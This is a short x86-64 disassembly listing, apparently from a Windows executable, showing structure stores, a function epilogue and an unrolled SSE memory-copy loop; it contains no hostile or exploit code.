mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
test rcx, rcx
je 0x14000cbe3
call fcn.14000f5d0
mov rbx, qword [rsi + 8]
mov rax, qword [rdi]
mov qword [rbx - 8], rax
add qword [rsi + 8], 0xfffffffffffffff8
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
shr r9, 3
inc r9
shl r14, 3
mov r15, r9
and r15, 0xfffffffffffffffc
lea r10, [rbx + r15*8]
lea r11, [rcx + r15*8]
add r14, rax
add r14, 0x10
xor r12d, r12d
nop word cs:[rax + rax]
movups xmm0, xmmword [rcx + r12*8]
movups xmm1, xmmword [rcx + r12*8 + 0x10]
movups xmmword [r14 + r12*8 - 0x10], xmm0
movups xmmword [r14 + r12*8], xmm1
add r12, 4
cmp r15, r12
jne 0x14000cc30
cmp r9, r15
jne 0x14000cbb0
jmp 0x14000cbc3
call fcn.140001cc0
int3